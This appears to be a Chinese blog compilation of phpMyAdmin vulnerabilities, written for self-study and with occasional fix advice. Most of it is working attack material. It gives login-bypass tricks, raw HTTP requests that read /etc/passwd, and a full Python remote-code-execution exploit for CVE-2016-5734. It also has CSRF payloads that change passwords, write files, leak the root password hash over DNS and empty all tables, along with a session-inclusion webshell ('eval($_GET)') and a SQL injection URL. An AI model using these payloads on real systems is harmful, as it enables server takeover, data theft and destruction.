phpmyadmin是一个非常常用的框架,所以学习它的常见漏洞是非常必要的。
参考大佬的文章进行自学:最全phpmyadmin漏洞汇总_phpmyadmin弱口令-CSDN博客
目录
phpmyadmin简介
查看phpmyadmin版本
漏洞及利用
万能密码登入
影响版本
漏洞POC
远程代码执行(CVE-2009-1151)
影响版本
漏洞POC
任意PHP代码(CVE-2012-5159)
漏洞原理
影响版本
漏洞POC
远程PHP代码执行(CVE-2013-3238)
漏洞原理
影响版本
漏洞poc
任意文件读取漏洞(WooYun-2016-199433)
影响版本
漏洞poc
本地文件包含(CVE-2014 -8959)
影响版本
漏洞poc
phpmyadmin远程代码执行漏洞(CVE-2016-5734)
漏洞原理
影响版本
漏洞POC
使用方式
修复建议
跨站请求伪造(CVE-2017-1000499)
影响版本
漏洞poc
本地文件包含漏洞(CVE-2018-12613)
漏洞原理
影响版本
漏洞POC
漏洞利用
验证文件包含漏洞
利用Session文件远程代码执行
修复建议
任意文件包含(CVE-2018-19968)
影响版本
漏洞poc
后台SQL注入
影响版本
漏洞poc
phpmyadmin简介
phpmyadmin是一个以PHP为基础,以web方式架构在网站主机上的mysql的数据库管理工具,让管理者可用web接口管理mysql数据库,便于远端管理mysql数据库。
查看phpmyadmin版本
在phpmyadmin的url后添加文件路径爆出
/readme
/changelog
/Change
/changelog.php
/Documetation.html
/Documetation.txt
/translators.html
/doc/html/index.html
漏洞及利用
万能密码登入
影响版本
phpmyadmin2.11.9.2
phpmyadmin 2.11.3、2.11.4
漏洞POC
2.11.9.2版本,直接使用root用户登录,无需密码
2.11.3、2.11.4版本,在用户名处输入'localhost'@'@"(注意单引号双引号都是英文标点)。
远程代码执行(CVE-2009-1151)
影响版本
phpmyadmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
漏洞POC
在配置文件/config/config.inc.php处
利用模块:msf>> exploit/unix/webapp/phpmyadmin_config
任意PHP代码(CVE-2012-5159)
漏洞原理
文件server_sync.php中包含外部文件导致。
影响版本
phpmyadmin 3.5.2.2
漏洞POC
利用模块:msf>> exploit/multi/http/phpmyadmin3522_backdoor
远程PHP代码执行(CVE-2013-3238)
漏洞原理
preg_replace()函数可被利用在服务器端执行任意PHP代码
影响版本
phpmyadmin 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
漏洞poc
利用模块:msf>> exploit/multi/http/phpmyadminpregreplace
任意文件读取漏洞(WooYun-2016-199433)
影响版本
phpMyAdmin version 2.x版本
漏洞poc
POST /scripts/setup.php HTTP/1.1
Host: target.com
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
本地文件包含(CVE-2014 -8959)
影响版本
phpMyAdmin version=4.0.1~4.2.12 && PHP version<5.3.4
漏洞poc
GET /gis_data_editor.php?token=token值&gis_data[gis_type]=/../../../../phpinfo.txt%00 HTTP/1.1
Host: target.com
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
phpmyadmin远程代码执行漏洞(CVE-2016-5734)
漏洞原理
由于PHP代码中的preg_replace函数(该函数是执行一个正则表达式并实现字符串的搜索和替换)中的$pattern的正则表达式中存在修正符。其中一个修正符"/e";在替换字符串中对逆向引用作正常的替换,将其作为PHP代码求值,并用其结果来替换所搜索的字符串。
影响版本
phpmyadmin4.3.0-4.6.2
漏洞POC
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
使用方式
python3 phpmyadmin.py -u root -p "root" http://ip:8080 -c "system('id')"
phpmyadmin默认账户、密码为:root、root
修复建议
及时更新至5.0以上版本。
跨站请求伪造(CVE-2017-1000499)
影响版本
Phpmyadmin:4.7.6
Phpmyadmin:4.7.0:Beta1
Phpmyadmin:4.7.0:Rc1
Phpmyadmin:4.7.5
Phpmyadmin:4.7.4
漏洞poc
Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery
# Date: 2018-08-28
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: Versions 4.7.x (prior to 4.7.7)
# Tested on: php7 mysql5
# CVE: CVE-2017-1000499
# Exploit CSRF - Modifying the password of current user
<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
# Exploit CSRF - Arbitrary File Write
<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select
'<?php phpinfo();?>' into outfile '/var/www/html/test.php';"
style="display:none;" />
# Exploit CSRF - Data Retrieval over DNS
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE
user='root' LIMIT 1),'.vulnspy.com\\test'));
# Exploit CSRF - Empty All Rows From All Tables
<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A"
style="display:none;" />
本地文件包含漏洞(CVE-2018-12613)
漏洞原理
当服务器开启allow_url_include选项时,就可以通过php的某地特性函数(include()、require()等)去利用url去动态包含文件,造成文件被解析。如果没有对文件来源进行严格的限制,就会导致任意文件读取或者任意命令执行。
还有另一种情况就是代码审计中,代码存在包含文件代码,且包含文件参数可控,也同样会导致任意文件读取。
影响版本
phpmyadmin4.8.0、4.8.0.1、4.8.1
漏洞POC
1. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
2.包含Session文件:
http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_[phpmyadmin的Cookie值]
漏洞利用
这里使用vulhub靶场进行复现利用,vulhub搭建自行搜索。
1、开启靶场环境
cd phpmyadmin/CVE-2018-12613
docker-compose up -d
docker-compose ps
2、访问靶场页面http://ip:8080
验证文件包含漏洞
直接访问poc,读取/etc/passwd文件内容
利用Session文件远程代码执行
1、在phpmyadmin页面执行数据库查询语句,查询内容为php命令
select '<?=phpinfo()?>';
执行后,会在默认路径的tmp文件夹下临时生成session文件名称为sess_session值,并且会将查询语句写入。
2、查看phpmyadmin的session值
3、同样可以写入一句话木马
<?php @eval($_GET['s']);?>
修复建议
更新版本
任意文件包含(CVE-2018-19968)
影响版本
phpmyadmin 4.8.0 - 4.8.3
漏洞poc
1)创建数据库,并将PHP代码写入Session文件中:
CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
2)生成foo数据库的phpMyAdmin的配置表,访问:
http://ip:8080/chk_rel.php?fixall_pmadb=1&db=foo
3)篡改数据插入pma column_info中:
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_[session]','plop';
4)访问包含Session文件的地址:
http://ip:8080/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1
后台SQL注入
影响版本
phpmyadmin 4 - 4.9.4
phpmyadmin 5 - 5.0.1
漏洞poc
1、首先要已知一个用户名密码(因为要登录后台操作)
2、然后构造payload:
http://ip/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
#token改成自己登录后的Token
#这里使用了报错注入